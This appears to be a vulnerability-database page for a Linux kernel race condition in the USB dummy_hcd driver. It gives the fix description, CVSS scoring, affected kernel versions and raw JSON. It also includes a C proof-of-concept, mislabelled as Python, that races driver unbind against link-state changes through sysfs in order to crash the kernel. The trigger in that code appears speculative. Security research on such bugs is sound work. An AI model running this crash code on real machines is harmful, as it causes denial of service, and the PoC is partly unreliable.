Security Vulnerability Report
中文
CVE-2026-43327 CVSS 5.5 MEDIUM

CVE-2026-43327

Published: 2026-05-08 14:16:42
Last Modified: 2026-05-15 18:05:56
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: USB: dummy-hcd: Fix locking/synchronization error Syzbot testing was able to provoke an addressing exception and crash in the usb_gadget_udc_reset() routine in drivers/usb/gadgets/udc/core.c, resulting from the fact that the routine was called with a second ("driver") argument of NULL. The bad caller was set_link_state() in dummy_hcd.c, and the problem arose because of a race between a USB reset and driver unbind. These sorts of races were not supposed to be possible; commit 7dbd8f4cabd9 ("USB: dummy-hcd: Fix erroneous synchronization change"), along with a few followup commits, was written specifically to prevent them. As it turns out, there are (at least) two errors remaining in the code. Another patch will address the second error; this one is concerned with the first. The error responsible for the syzbot crash occurred because the stop_activity() routine will sometimes drop and then re-acquire the dum->lock spinlock. A call to stop_activity() occurs in set_link_state() when handling an emulated USB reset, after the test of dum->ints_enabled and before the increment of dum->callback_usage. This allowed another thread (doing a driver unbind) to sneak in and grab the spinlock, and then clear dum->ints_enabled and dum->driver. Normally this other thread would have to wait for dum->callback_usage to go down to 0 before it would clear dum->driver, but in this case it didn't have to wait since dum->callback_usage had not yet been incremented. The fix is to increment dum->callback_usage _before_ calling stop_activity() instead of after. Then the thread doing the unbind will not clear dum->driver until after the call to usb_gadget_udc_reset() safely returns and dum->callback_usage has been decremented again.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 6.1 (Fix commit 218886b2ef2d)
Linux Kernel < 6.6 (Fix commit 616a63ff495d)
Linux Kernel < 6.8 (Fix commit 6350c7dd33ab)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC Concept for CVE-2026-43327 * This code attempts to trigger the race condition between * USB reset and driver unbind in the dummy_hcd driver. */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> // Path to the dummy_hcd UDC #define UDC_PATH "/sys/bus/udc/drivers/gadget" #define UDC_NAME "dummy_udc.0" void *trigger_reset(void *arg) { char cmd[256]; // Continuously trigger disconnect/reset states while (1) { // Writing to function attribute or similar can trigger link state changes // This is a simplified representation of the reset trigger FILE *fp = fopen("/sys/devices/platform/dummy_hcd/udc/dummy_udc.0/state", "w"); if (fp) { fprintf(fp, "configured"); // Try changing state fclose(fp); } usleep(100); } return NULL; } void *trigger_unbind(void *arg) { char cmd[256]; // Attempt to unbind the driver rapidly while (1) { snprintf(cmd, sizeof(cmd), "echo -n '%s' > %s/unbind", UDC_NAME, UDC_PATH); system(cmd); // Re-bind might be needed to repeat the attempt, depending on kernel state snprintf(cmd, sizeof(cmd), "echo -n '%s' > %s/bind", UDC_NAME, UDC_PATH); system(cmd); usleep(100); } return NULL; } int main() { pthread_t t1, t2; printf("[+] Starting Race Condition PoC for CVE-2026-43327...\n"); pthread_create(&t1, NULL, trigger_reset, NULL); pthread_create(&t2, NULL, trigger_unbind, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43327", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T14:16:42.243", "lastModified": "2026-05-15T18:05:56.443", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: dummy-hcd: Fix locking/synchronization error\n\nSyzbot testing was able to provoke an addressing exception and crash\nin the usb_gadget_udc_reset() routine in\ndrivers/usb/gadgets/udc/core.c, resulting from the fact that the\nroutine was called with a second (\"driver\") argument of NULL. The bad\ncaller was set_link_state() in dummy_hcd.c, and the problem arose\nbecause of a race between a USB reset and driver unbind.\n\nThese sorts of races were not supposed to be possible; commit\n7dbd8f4cabd9 (\"USB: dummy-hcd: Fix erroneous synchronization change\"),\nalong with a few followup commits, was written specifically to prevent\nthem. As it turns out, there are (at least) two errors remaining in\nthe code. Another patch will address the second error; this one is\nconcerned with the first.\n\nThe error responsible for the syzbot crash occurred because the\nstop_activity() routine will sometimes drop and then re-acquire the\ndum->lock spinlock. A call to stop_activity() occurs in\nset_link_state() when handling an emulated USB reset, after the test\nof dum->ints_enabled and before the increment of dum->callback_usage.\nThis allowed another thread (doing a driver unbind) to sneak in and\ngrab the spinlock, and then clear dum->ints_enabled and dum->driver.\nNormally this other thread would have to wait for dum->callback_usage\nto go down to 0 before it would clear dum->driver, but in this case it\ndidn't have to wait since dum->callback_usage had not yet been\nincremented.\n\nThe fix is to increment dum->callback_usage _before_ calling\nstop_activity() instead of after. Then the thread doing the unbind\nwill not clear dum->driver until after the call to\nusb_gadget_udc_reset() safely returns and dum->callback_usage has been\ndecremented again."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-667"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.2.97", "versionEndExcluding": "3.3", "matchCriteriaId": "53EFF502-4DAC-47BB-88FE-57DAEB8A756F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.16.52", "versionEndExcluding": "3.17", "matchCriteriaId": "05033BFD-A5E6-4D50-861A-0DFC71F68928"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.1.46", "versionEndExcluding": "4.2", "matchCriteriaId": "FD7B43DB-D99B-4203-84D2-00416A5FC499"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.92", "versionEndExcluding": "4.5", "matchCriteriaId": "0FC36FA2-9326-4373-A290-AD56F4EBE515"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.9.55", "versionEndExcluding": "4.10", "matchCriteriaId": "FF00429D-1E4D-4240-A156-ECC8962E597D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.14", "versionEndExcluding": "5.10.253", "matchCriteriaId": "7144BCBC-124B-49FA-8BCC-259910F77E5A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcludin ... (truncated)